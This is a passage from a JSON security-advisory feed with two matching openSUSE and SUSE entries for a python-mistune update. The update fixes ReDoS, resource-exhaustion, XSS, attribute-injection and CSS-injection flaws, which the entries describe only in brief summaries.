3.2.1.","status":"published","published":"2026-05-26T21:16:38Z","modified":"2026-08-28T17:56:24.711531Z","updated_at":"2026-11-02T15:28:11.069402Z"},{"id":"openSUSE-SU-2026:20827-1","title":"Security update for python-mistune","description":"This update for python-mistune fixes the following issues\n\n- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).\n- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of\n  service (bsc#1264752).\n- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).\n- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).\n- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS\n  (bsc#1264750).\n- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).\n- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`\n  can lead to CSS injection (bsc#1265053).\n","status":"published","published":"2026-05-28T12:07:59Z","modified":"2026-05-31T18:24:29.12639701Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:21858-1","title":"Security update for python-mistune","description":"This update for python-mistune fixes the following issues\n\n- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).\n- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of\n  service (bsc#1264752).\n- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).\n- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).\n- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS\n  (bsc#1264750).\n- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).\n- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`\n  can lead to CSS injection (bsc#1265053).\n","status":"published","published":"2026-05-28T12:08:10Z","modified":"2026-06-02T18:24:31.000026659Z","updated_at":"2026-11-02T15:54:02.654057Z"}]}}
